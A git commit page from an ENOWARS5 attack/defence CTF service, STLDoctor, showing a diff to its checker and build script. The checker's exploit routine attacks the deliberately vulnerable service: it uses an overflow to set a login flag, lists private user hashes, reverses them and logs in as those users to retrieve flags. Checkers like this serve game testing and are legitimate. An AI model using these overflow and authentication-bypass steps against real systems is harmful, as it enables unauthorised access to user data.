enowars5-service-stldoctor

STL-Analyzing A/D Service for ENOWARS5 in 2021
git clone https://git.sinitax.com/sinitax/enowars5-service-stldoctor
Log | Files | Refs | README | LICENSE | sfeed.txt

commit 1dae95e69db1ed2155599cfe582517307ebc1bcf
parent a0fcf2e140e2b9b540a9a9222a4c2d46277a119b
Author: Louis Burda <quent.burda@gmail.com>
Date:   Fri, 11 Jun 2021 00:33:37 +0200

fixed exploits in checker, added code for enochecker_test

Diffstat:
Mchecker/src/checker.py | 27+++++++++++++++++----------
Mdo.sh | 38++++++++++++++++++++++++++++++++++++--
Aservice/src/.gitignore | 1+
3 files changed, 54 insertions(+), 12 deletions(-)

diff --git a/checker/src/checker.py b/checker/src/checker.py @@ -180,7 +180,6 @@ class STLDoctorChecker(BaseChecker): # Parse ID _ = conn.recvline() line = conn.recvline() - self.debug(line) try: modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1] if modelid == b"": raise Exception @@ -270,7 +269,7 @@ class STLDoctorChecker(BaseChecker): self.closeconn(conn) self.postdb(modelid=modelid, modelname=modelname, auth=authstr) else: - raise EnoException(f"Invalid variant_id ({self.variant_id}) provided") + raise EnoException(f"Invalid putflag variant ({self.variant_id}) provided") def getflag(self): # type: () -> None if self.variant_id == 0: @@ -287,7 +286,7 @@ class STLDoctorChecker(BaseChecker): assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents") self.closeconn(conn) else: - raise EnoException(f"Invalid variant_id ({self.variant_id}) provided") + raise EnoException(f"Invalid getflag variant ({self.variant_id}) provided") def putnoise(self): # type: () -> None if self.variant_id == 0: @@ -307,7 +306,7 @@ class STLDoctorChecker(BaseChecker): self.closeconn(conn) self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents, auth=authstr) else: - raise EnoException(f"Invalid variant_id ({self.variant_id}) provided") + raise EnoException(f"Invalid putnoise variant ({self.variant_id}) provided") def getnoise(self): # type: () -> None if self.variant_id == 0: @@ -322,7 +321,7 @@ class STLDoctorChecker(BaseChecker): self.check_getfile(conn, modelname, solidname, contents, modelid) self.closeconn(conn) else: - raise EnoException(f"Invalid variant_id ({self.variant_id}) provided") + raise EnoException(f"Invalid noise variant ({self.variant_id}) provided") def havoc(self): # type: () -> None if self.variant_id == 0: @@ -334,7 +333,7 @@ class STLDoctorChecker(BaseChecker): elif self.variant_id == 3: self.havoc_upload('bin', True) else: - raise EnoException(f"Invalid variant_id ({self.variant_id}) provided") + raise EnoException(f"Invalid havoc variant ({self.variant_id}) provided") def exploit(self): # type: () -> None if self.variant_id == 0: @@ -349,6 +348,7 @@ class STLDoctorChecker(BaseChecker): # Parse evil file conn = self.openconn() resp = self.getfile(conn, name, download=False) + conn.write("search last\n") filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l] if len(filelist) == 0: raise BrokenServiceException("Failed to list files through search") @@ -363,6 +363,8 @@ class STLDoctorChecker(BaseChecker): found = self.search_flag_bytes(fileinfo) if found is not None or i == len(filelist) - 1: break + + # Parse evil file again for next iter self.getfile(conn, name, download=False) conn.write("search last\n") conn.recvuntil("?") @@ -381,36 +383,41 @@ class STLDoctorChecker(BaseChecker): "Exploit did not set 'loggedin' variable via overflow") conn.write("list\n") resp = conn.recvuntil(self.prompt) + self.debug("List response: " + str(resp)) users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l] if len(users) == 0: raise BrokenServiceException("Unable to list private user hashes") self.closeconn(conn) # Login as each private user - conn = self.openconn() found = None for u in users: + conn = self.openconn() self.debug(f"Logging in as user with id {u}") + user = self.reverse_hash(u.decode()) if user == b"": raise BrokenServiceException("Failed to find hash preimage") conn.write(b"auth " + user + b"\n") + resp = conn.recvuntil(self.prompt) if b"Welcome back" not in resp: - raise BrokenServiceException(f"Reversing of hash {u} returned invalid preimage {user}") + raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}") + conn.write("list\n") resp = conn.recvuntil(self.prompt) names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]) + self.closeconn(conn) + found = self.search_flag_bytes(names) if found is not None: break - self.closeconn(conn) if found is None: raise BrokenServiceException("Exploit for flagstore 2 failed") return found else: - raise EnoException(f"Invalid variant_id ({self.variant_id}) provided") + raise EnoException(f"Invalid exploit variant ({self.variant_id}) provided") app = STLDoctorChecker.service # This can be used for uswgi. diff --git a/do.sh b/do.sh @@ -60,9 +60,43 @@ elif [ "$1" == "cleansrc" ]; then popd fi elif [ "$1" == "test" ]; then - SRCDIR="$PWD/src" DATADIR="$PWD/service/data" bash "tests/test.sh" ${@:2} + SRCDIR="$PWD/service/src" DATADIR="$PWD/service/data" bash "tests/test.sh" ${@:2} elif [ "$1" == "make" ]; then - make -C src + make -C service/src +elif [ "$1" == "ci-test" ]; then + cd "$REPOROOT" + + docker-compose -f service/docker-compose.yml up --build -d -V + docker-compose -f checker/docker-compose.yml up --build -d -V + + if [ -z "$ADDRESS" ]; then + echo "Specify your local network address via the ADDRESS var" + exit 1 + fi + export ENOCHECKER_TEST_CHECKER_ADDRESS=$ADDRESS + export ENOCHECKER_TEST_CHECKER_PORT=9091 + export ENOCHECKER_TEST_SERVICE_ADDRESS=$ADDRESS + export ENOCHECKER_TEST_SERVICE_PORT=9090 + enochecker_test + + docker-compose -f service/docker-compose.yml logs --no-color --tail=1000 > /tmp/ci-test-service.log + docker-compose -f checker/docker-compose.yml logs --no-color --tail=1000 > /tmp/ci-test-checker.log + + docker-compose -f service/docker-compose.yml down + docker-compose -f checker/docker-compose.yml down +elif [ "$1" == "parse-log" ]; then + python3 -c ' +#!/usr/bin/env python3 + +import jsons, sys + +for l in open(sys.argv[1]).read().split("\n"): + if "##ENOLOGMESSAGE" not in l: continue + l = l.split("##ENOLOGMESSAGE ", 1)[1] + jmsg = jsons.loads(l) + print("[[ %s #%s ]] " % (jmsg["method"], jmsg["variantId"]), end="") + print(jmsg["message"] + "\n--------") + ' "$2" else echo "USAGE: do.sh (compose|test|cleansrc) [args..]" echo "EXAMPLES:" diff --git a/service/src/.gitignore b/service/src/.gitignore @@ -0,0 +1 @@ +build